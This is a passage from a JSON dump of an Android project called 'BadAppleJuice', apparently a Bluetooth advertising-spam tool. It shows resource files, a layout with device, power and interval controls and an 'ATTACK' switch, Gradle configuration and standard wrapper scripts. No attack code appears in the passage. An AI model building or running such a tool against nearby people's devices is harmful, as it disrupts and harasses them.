android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M49,0L49,108\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M59,0L59,108\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M69,0L69,108\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M79,0L79,108\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M89,0L89,108\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M99,0L99,108\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M0,9L108,9\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M0,19L108,19\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M0,29L108,29\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M0,39L108,39\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M0,49L108,49\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M0,59L108,59\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M0,69L108,69\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M0,79L108,79\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M0,89L108,89\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M0,99L108,99\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M19,29L89,29\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M19,39L89,39\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M19,49L89,49\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M19,59L89,59\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M19,69L89,69\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M19,79L89,79\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M29,19L29,89\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M39,19L39,89\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M49,19L49,89\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M59,19L59,89\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M69,19L69,89\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M79,19L79,89\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n</vector>\n"
  },
  {
    "path": "app/src/main/res/drawable/ic_launcher_foreground.xml",
    "content": "<vector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:aapt=\"http://schemas.android.com/aapt\"\n    android:width=\"108dp\"\n    android:height=\"108dp\"\n    android:viewportWidth=\"108\"\n    android:viewportHeight=\"108\">\n    <path android:pathData=\"M31,63.928c0,0 6.4,-11 12.1,-13.1c7.2,-2.6 26,-1.4 26,-1.4l38.1,38.1L107,108.928l-32,-1L31,63.928z\">\n        <aapt:attr name=\"android:fillColor\">\n            <gradient\n                android:endX=\"85.84757\"\n                android:endY=\"92.4963\"\n                android:startX=\"42.9492\"\n                android:startY=\"49.59793\"\n                android:type=\"linear\">\n                <item\n                    android:color=\"#44000000\"\n                    android:offset=\"0.0\" />\n                <item\n                    android:color=\"#00000000\"\n                    android:offset=\"1.0\" />\n            </gradient>\n        </aapt:attr>\n    </path>\n    <path\n        android:fillColor=\"#FFFFFF\"\n        android:fillType=\"nonZero\"\n        android:pathData=\"M65.3,45.828l3.8,-6.6c0.2,-0.4 0.1,-0.9 -0.3,-1.1c-0.4,-0.2 -0.9,-0.1 -1.1,0.3l-3.9,6.7c-6.3,-2.8 -13.4,-2.8 -19.7,0l-3.9,-6.7c-0.2,-0.4 -0.7,-0.5 -1.1,-0.3C38.8,38.328 38.7,38.828 38.9,39.228l3.8,6.6C36.2,49.428 31.7,56.028 31,63.928h46C76.3,56.028 71.8,49.428 65.3,45.828zM43.4,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2c-0.3,-0.7 -0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C45.3,56.528 44.5,57.328 43.4,57.328L43.4,57.328zM64.6,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2s-0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C66.5,56.528 65.6,57.328 64.6,57.328L64.6,57.328z\"\n        android:strokeWidth=\"1\"\n        android:strokeColor=\"#00000000\" />\n</vector>"
  },
  {
    "path": "app/src/main/res/layout/activity_main.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    android:layout_margin=\"20dp\"\n    android:orientation=\"vertical\"\n    tools:context=\".MainActivity\">\n\n    <LinearLayout\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:gravity=\"center\"\n        android:orientation=\"horizontal\">\n\n        <Spinner\n            android:id=\"@+id/sp_SelectDevice\"\n            android:layout_width=\"200dp\"\n            android:layout_height=\"wrap_content\"\n            android:spinnerMode=\"dialog\" />\n\n        <androidx.appcompat.widget.SwitchCompat\n            android:id=\"@+id/sw_RandomDevice\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:text=\"随机设备\" />\n    </LinearLayout>\n\n    <LinearLayout\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:background=\"@color/Gray\">\n\n        <LinearLayout\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\"\n            android:layout_margin=\"2dp\"\n            android:background=\"@color/white\"\n            android:gravity=\"center\">\n\n            <TextView\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"wrap_content\"\n                android:text=\"发射功率\" />\n\n            <EditText\n                android:id=\"@+id/et_TxPowerLevel\"\n                android:layout_width=\"50dp\"\n                android:layout_height=\"wrap_content\"\n                android:inputType=\"numberSigned\"\n                android:text=\"1\" />\n\n            <TextView\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"wrap_content\"\n                android:text=\"间隔时间\" />\n\n            <EditText\n                android:id=\"@+id/et_Interval\"\n                android:layout_width=\"80dp\"\n                android:layout_height=\"wrap_content\"\n                android:inputType=\"number\"\n                android:text=\"160\" />\n\n            <Button\n                android:id=\"@+id/btn_SetParameter\"\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"match_parent\"\n                android:text=\"设置\" />\n        </LinearLayout>\n    </LinearLayout>\n\n    <LinearLayout\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:gravity=\"center\"\n        android:orientation=\"horizontal\">\n\n        <androidx.appcompat.widget.SwitchCompat\n            android:id=\"@+id/sw_ATTACK\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:layout_margin=\"4dp\"\n            android:background=\"@color/Gray\"\n            android:text=\"ATTACK\"\n            android:textSize=\"20sp\" />\n\n        <Button\n            android:id=\"@+id/btn_help\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"40dp\"\n            android:layout_marginLeft=\"50dp\"\n            android:text=\"帮助\" />\n    </LinearLayout>\n\n    <TextView\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:gravity=\"center\"\n        android:text=\"运行状态\"\n        android:textColor=\"@color/black\" />\n\n    <LinearLayout\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:background=\"@color/black\"\n        android:gravity=\"center\"\n        android:orientation=\"vertical\">\n\n        <TextView\n            android:id=\"@+id/tv_advState\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"20dp\"\n            android:layout_margin=\"4dp\"\n            android:background=\"@color/black\"\n            android:scrollbars=\"vertical\"\n            android:textColor=\"@color/white\" />\n    </LinearLayout>\n\n    <TextView\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:gravity=\"center\"\n        android:text=\"信息栏\"\n        android:textColor=\"@color/black\" />\n\n    <LinearLayout\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\"\n        android:background=\"@color/black\"\n        android:orientation=\"vertical\">\n\n        <TextView\n            android:id=\"@+id/tv_Debug\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\"\n            android:layout_margin=\"10dp\"\n            android:background=\"@color/black\"\n            android:scrollbars=\"vertical\"\n            android:textColor=\"@color/white\" />\n    </LinearLayout>\n</LinearLayout>\n"
  },
  {
    "path": "app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<adaptive-icon xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <background android:drawable=\"@color/ic_launcher_background\"/>\n    <foreground android:drawable=\"@mipmap/ic_launcher_foreground\"/>\n</adaptive-icon>"
  },
  {
    "path": "app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<adaptive-icon xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <background android:drawable=\"@color/ic_launcher_background\"/>\n    <foreground android:drawable=\"@mipmap/ic_launcher_foreground\"/>\n</adaptive-icon>"
  },
  {
    "path": "app/src/main/res/values/colors.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n    <color name=\"purple_200\">#FFBB86FC</color>\n    <color name=\"purple_500\">#FF6200EE</color>\n    <color name=\"purple_700\">#FF3700B3</color>\n    <color name=\"teal_200\">#FF03DAC5</color>\n    <color name=\"teal_700\">#FF018786</color>\n    <color name=\"black\">#FF000000</color>\n    <color name=\"white\">#FFFFFFFF</color>\n    <color name=\"DodgerBlue\">#FF1E90FF</color>\n    <color name=\"RoyalBlue\">#FF4169E1</color>\n    <color name=\"o50black\">#FF000000</color>\n    <color name=\"Gray\">#FFB0B0B0</color>\n</resources>"
  },
  {
    "path": "app/src/main/res/values/ic_launcher_background.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n    <color name=\"ic_launcher_background\">#000000</color>\n</resources>"
  },
  {
    "path": "app/src/main/res/values/strings.xml",
    "content": "<resources>\n    <string name=\"app_name\">BadAppleJuice</string>\n</resources>"
  },
  {
    "path": "app/src/main/res/values/themes.xml",
    "content": "<resources xmlns:tools=\"http://schemas.android.com/tools\">\n    <!-- Base application theme. -->\n    <style name=\"Theme.BadAppleJuice\" parent=\"Theme.MaterialComponents.DayNight.DarkActionBar\">\n        <!-- Primary brand color. -->\n        <item name=\"colorPrimary\">@color/black</item>\n        <item name=\"colorPrimaryVariant\">@color/black</item>\n        <item name=\"colorOnPrimary\">@color/white</item>\n        <!-- Secondary brand color. -->\n        <item name=\"colorSecondary\">@color/teal_200</item>\n        <item name=\"colorSecondaryVariant\">@color/teal_700</item>\n        <item name=\"colorOnSecondary\">@color/black</item>\n        <!-- Status bar color. -->\n        <item name=\"android:statusBarColor\">?attr/colorPrimaryVariant</item>\n        <!-- Customize your theme here. -->\n    </style>\n</resources>"
  },
  {
    "path": "app/src/main/res/values-night/themes.xml",
    "content": "<resources xmlns:tools=\"http://schemas.android.com/tools\">\n    <!-- Base application theme. -->\n    <style name=\"Theme.BadAppleJuice\" parent=\"Theme.MaterialComponents.DayNight.DarkActionBar\">\n        <!-- Primary brand color. -->\n        <item name=\"colorPrimary\">@color/purple_200</item>\n        <item name=\"colorPrimaryVariant\">@color/purple_700</item>\n        <item name=\"colorOnPrimary\">@color/black</item>\n        <!-- Secondary brand color. -->\n        <item name=\"colorSecondary\">@color/teal_200</item>\n        <item name=\"colorSecondaryVariant\">@color/teal_200</item>\n        <item name=\"colorOnSecondary\">@color/black</item>\n        <!-- Status bar color. -->\n        <item name=\"android:statusBarColor\">?attr/colorPrimaryVariant</item>\n        <!-- Customize your theme here. -->\n    </style>\n</resources>"
  },
  {
    "path": "app/src/main/res/xml/backup_rules.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?><!--\n   Sample backup rules file; uncomment and customize as necessary.\n   See https://developer.android.com/guide/topics/data/autobackup\n   for details.\n   Note: This file is ignored for devices older that API 31\n   See https://developer.android.com/about/versions/12/backup-restore\n-->\n<full-backup-content>\n    <!--\n   <include domain=\"sharedpref\" path=\".\"/>\n   <exclude domain=\"sharedpref\" path=\"device.xml\"/>\n-->\n</full-backup-content>"
  },
  {
    "path": "app/src/main/res/xml/data_extraction_rules.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?><!--\n   Sample data extraction rules file; uncomment and customize as necessary.\n   See https://developer.android.com/about/versions/12/backup-restore#xml-changes\n   for details.\n-->\n<data-extraction-rules>\n    <cloud-backup>\n        <!-- TODO: Use <include> and <exclude> to control what is backed up.\n        <include .../>\n        <exclude .../>\n        -->\n    </cloud-backup>\n    <!--\n    <device-transfer>\n        <include .../>\n        <exclude .../>\n    </device-transfer>\n    -->\n</data-extraction-rules>"
  },
  {
    "path": "app/src/test/java/cn/sab1e/badapplejuice/ExampleUnitTest.java",
    "content": "package cn.sab1e.badapplejuice;\n\nimport org.junit.Test;\n\nimport static org.junit.Assert.*;\n\n/**\n * Example local unit test, which will execute on the development machine (host).\n *\n * @see <a href=\"http://d.android.com/tools/testing\">Testing documentation</a>\n */\npublic class ExampleUnitTest {\n    @Test\n    public void addition_isCorrect() {\n        assertEquals(4, 2 + 2);\n    }\n}"
  },
  {
    "path": "build.gradle.kts",
    "content": "// Top-level build file where you can add configuration options common to all sub-projects/modules.\nplugins {\n    id(\"com.android.application\") version \"8.1.1\" apply false\n}"
  },
  {
    "path": "gradle/wrapper/gradle-wrapper.properties",
    "content": "#Thu Nov 16 00:36:48 CST 2023\ndistributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-8.0-bin.zip\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\n"
  },
  {
    "path": "gradle.properties",
    "content": "# Project-wide Gradle settings.\n# IDE (e.g. Android Studio) users:\n# Gradle settings configured through the IDE *will override*\n# any settings specified in this file.\n# For more details on how to configure your build environment visit\n# http://www.gradle.org/docs/current/userguide/build_environment.html\n# Specifies the JVM arguments used for the daemon process.\n# The setting is particularly useful for tweaking memory settings.\norg.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8\n# When configured, Gradle will run in incubating parallel mode.\n# This option should only be used with decoupled projects. More details, visit\n# http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects\n# org.gradle.parallel=true\n# AndroidX package structure to make it clearer which packages are bundled with the\n# Android operating system, and which are packaged with your app's APK\n# https://developer.android.com/topic/libraries/support-library/androidx-rn\nandroid.useAndroidX=true\n# Enables namespacing of each library's R class so that its R class includes only the\n# resources declared in the library itself and none from the library's dependencies,\n# thereby reducing the size of the R class for that library\nandroid.nonTransitiveRClass=true"
  },
  {
    "path": "gradlew",
    "content": "#!/usr/bin/env sh\n\n#\n# Copyright 2015 the original author or authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n##############################################################################\n##\n##  Gradle start up script for UN*X\n##\n##############################################################################\n\n# Attempt to set APP_HOME\n# Resolve links: $0 may be a link\nPRG=\"$0\"\n# Need this for relative symlinks.\nwhile [ -h \"$PRG\" ] ; do\n    ls=`ls -ld \"$PRG\"`\n    link=`expr \"$ls\" : '.*-> \\(.*\\)$'`\n    if expr \"$link\" : '/.*' > /dev/null; then\n        PRG=\"$link\"\n    else\n        PRG=`dirname \"$PRG\"`\"/$link\"\n    fi\ndone\nSAVED=\"`pwd`\"\ncd \"`dirname \\\"$PRG\\\"`/\" >/dev/null\nAPP_HOME=\"`pwd -P`\"\ncd \"$SAVED\" >/dev/null\n\nAPP_NAME=\"Gradle\"\nAPP_BASE_NAME=`basename \"$0\"`\n\n# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.\nDEFAULT_JVM_OPTS='\"-Xmx64m\" \"-Xms64m\"'\n\n# Use the maximum available, or set MAX_FD != -1 to use that value.\nMAX_FD=\"maximum\"\n\nwarn () {\n    echo \"$*\"\n}\n\ndie () {\n    echo\n    echo \"$*\"\n    echo\n    exit 1\n}\n\n# OS specific support (must be 'true' or 'false').\ncygwin=false\nmsys=false\ndarwin=false\nnonstop=false\ncase \"`uname`\" in\n  CYGWIN* )\n    cygwin=true\n    ;;\n  Darwin* )\n    darwin=true\n    ;;\n  MINGW* )\n    msys=true\n    ;;\n  NONSTOP* )\n    nonstop=true\n    ;;\nesac\n\nCLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar\n\n\n# Determine the Java command to use to start the JVM.\nif [ -n \"$JAVA_HOME\" ] ; then\n    if [ -x \"$JAVA_HOME/jre/sh/java\" ] ; then\n        # IBM's JDK on AIX uses strange locations for the executables\n        JAVACMD=\"$JAVA_HOME/jre/sh/java\"\n    else\n        JAVACMD=\"$JAVA_HOME/bin/java\"\n    fi\n    if [ ! -x \"$JAVACMD\" ] ; then\n        die \"ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME\n\nPlease set the JAVA_HOME variable in your environment to match the\nlocation of your Java installation.\"\n    fi\nelse\n    JAVACMD=\"java\"\n    which java >/dev/null 2>&1 || die \"ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.\n\nPlease set the JAVA_HOME variable in your environment to match the\nlocation of your Java installation.\"\nfi\n\n# Increase the maximum file descriptors if we can.\nif [ \"$cygwin\" = \"false\" -a \"$darwin\" = \"false\" -a \"$nonstop\" = \"false\" ] ; then\n    MAX_FD_LIMIT=`ulimit -H -n`\n    if [ $? -eq 0 ] ; then\n        if [ \"$MAX_FD\" = \"maximum\" -o \"$MAX_FD\" = \"max\" ] ; then\n            MAX_FD=\"$MAX_FD_LIMIT\"\n        fi\n        ulimit -n $MAX_FD\n        if [ $? -ne 0 ] ; then\n            warn \"Could not set maximum file descriptor limit: $MAX_FD\"\n        fi\n    else\n        warn \"Could not query maximum file descriptor limit: $MAX_FD_LIMIT\"\n    fi\nfi\n\n# For Darwin, add options to specify how the application appears in the dock\nif $darwin; then\n    GRADLE_OPTS=\"$GRADLE_OPTS \\\"-Xdock:name=$APP_NAME\\\" \\\"-Xdock:icon=$APP_HOME/media/gradle.icns\\\"\"\nfi\n\n# For Cygwin or MSYS, switch paths to Windows format before running java\nif [ \"$cygwin\" = \"true\" -o \"$msys\" = \"true\" ] ; then\n    APP_HOME=`cygpath --path --mixed \"$APP_HOME\"`\n    CLASSPATH=`cygpath --path --mixed \"$CLASSPATH\"`\n\n    JAVACMD=`cygpath --unix \"$JAVACMD\"`\n\n    # We build the pattern for arguments to be converted via cygpath\n    ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`\n    SEP=\"\"\n    for dir in $ROOTDIRSRAW ; do\n        ROOTDIRS=\"$ROOTDIRS$SEP$dir\"\n        SEP=\"|\"\n    done\n    OURCYGPATTERN=\"(^($ROOTDIRS))\"\n    # Add a user-defined pattern to the cygpath arguments\n    if [ \"$GRADLE_CYGPATTERN\" != \"\" ] ; then\n        OURCYGPATTERN=\"$OURCYGPATTERN|($GRADLE_CYGPATTERN)\"\n    fi\n    # Now convert the arguments - kludge to limit ourselves to /bin/sh\n    i=0\n    for arg in \"$@\" ; do\n        CHECK=`echo \"$arg\"|egrep -c \"$OURCYGPATTERN\" -`\n        CHECK2=`echo \"$arg\"|egrep -c \"^-\"`                                 ### Determine if an option\n\n        if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then                    ### Added a condition\n            eval `echo args$i`=`cygpath --path --ignore --mixed \"$arg\"`\n        else\n            eval `echo args$i`=\"\\\"$arg\\\"\"\n        fi\n        i=`expr $i + 1`\n    done\n    case $i in\n        0) set -- ;;\n        1) set -- \"$args0\" ;;\n        2) set -- \"$args0\" \"$args1\" ;;\n        3) set -- \"$args0\" \"$args1\" \"$args2\" ;;\n        4) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" ;;\n        5) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" ;;\n        6) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" \"$args5\" ;;\n        7) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" \"$args5\" \"$args6\" ;;\n        8) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" \"$args5\" \"$args6\" \"$args7\" ;;\n        9) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" \"$args5\" \"$args6\" \"$args7\" \"$args8\" ;;\n    esac\nfi\n\n# Escape application args\nsave () {\n    for i do printf %s\\\\n \"$i\" | sed \"s/'/'\\\\\\\\''/g;1s/^/'/;\\$s/\\$/' \\\\\\\\/\" ; done\n    echo \" \"\n}\nAPP_ARGS=`save \"$@\"`\n\n# Collect all arguments for the java command, following the shell quoting and substitution rules\neval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS \"\\\"-Dorg.gradle.appname=$APP_BASE_NAME\\\"\" -classpath \"\\\"$CLASSPATH\\\"\" org.gradle.wrapper.GradleWrapperMain \"$APP_ARGS\"\n\nexec \"$JAVACMD\" \"$@\"\n"
  },
  {
    "path": "gradlew.bat",
    "content": "@rem\n@rem Copyright 2015 the original author or authors.\n@rem\n@rem Licensed under the Apache License, Version 2.0 (the \"License\");\n@rem you may not use this file except in compliance with the License.\n@rem You may obtain a copy of the License at\n@rem\n@rem      https://www.apache.org/licenses/LICENSE-2.0\n@rem\n@rem Unless required by applicable law or agreed to in writing, software\n@rem distributed under the License is distributed on an \"AS IS\" BASIS,\n@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n@rem See the License for the specific language governing permissions and\n@rem limitations under the License.\n@rem\n\n@if \"%DEBUG%\" == \"\" @echo off\n@rem ##########################################################################\n@rem\n@rem  Gradle startup script for Windows\n@rem\n@rem ##########################################################################\n\n@rem Set local scope for the variables with windows NT shell\nif \"%OS%\"==\"Windows_NT\" setlocal\n\nset DIRNAME=%~dp0\nif \"%DIRNAME%\" == \"\" set DIRNAME=.\nset APP_BASE_NAME=%~n0\nset APP_HOME=%DIRNAME%\n\n@rem Resolve any \".\" and \"..\" in APP_HOME to make it shorter.\nfor %%i in (\"%APP_HOME%\") do set APP_HOME=%%~fi\n\n@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.\nset DEFAULT_JVM_OPTS=\"-Xmx64m\" \"-Xms64m\"\n\n@rem Find java.exe\nif defined JAVA_HOME goto findJavaFromJavaHome\n\nset JAVA_EXE=java.exe\n%JAVA_EXE% -version >NUL 2>&1\nif \"%ERRORLEVEL%\" == \"0\" goto execute\n\necho.\necho ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.\necho.\necho Please set the JAVA_HOME variable in your environment to match the\necho location of your Java installation.\n\ngoto fail\n\n:findJavaFromJavaHome\nset JAVA_HOME=%JAVA_HOME:\"=%\nset JAVA_EXE=%JAVA_HOME%/bin/java.exe\n\nif exist \"%JAVA_EXE%\" goto execute\n\necho.\necho ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%\necho.\necho Please set the JAVA_HOME variable in your environment to match the\necho location of your Java installation.\n\ngoto fail\n\n:execute\n@rem Setup the command line\n\nset CLASSPATH=%APP_HOME%\\gradle\\wrapper\\gradle-wrapper.jar\n\n\n@rem Execute Gradle\n\"%JAVA_EXE%\" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% \"-Dorg.gradle.appname=%APP_BASE_NAME%\" -classpath \"%CLASSPATH%\" org.gradle.wrapper.GradleWrapperMain %*\n\n:end\n@rem End local scope for the variables with windows NT shell\nif \"%ERRORLEVEL%\"==\"0\" goto mainEnd\n\n:fail\nrem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of\nrem the _cmd.exe /c_ return code!\nif  not \"\" == \"%GRADLE_EXIT_CONSOLE%\" exit 1\nexit /b 1\n\n:mainEnd\nif \"%OS%\"==\"Windows_NT\" endlocal\n\n:omega\n"
  },
  {
    "path": "settings.gradle.kts",
    "content": "pluginManagement {\n    repositories {\n        google()\n        mavenCentral()\n        gradlePluginPortal()\n    }\n}\ndependencyResolutionManagement {\n    repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)\n    repositories {\n        google()\n        mavenCentral()\n    }\n}\n\nrootProject.name = \"BadAppleJuice\"\ninclude(\":app\")\n "
  }
]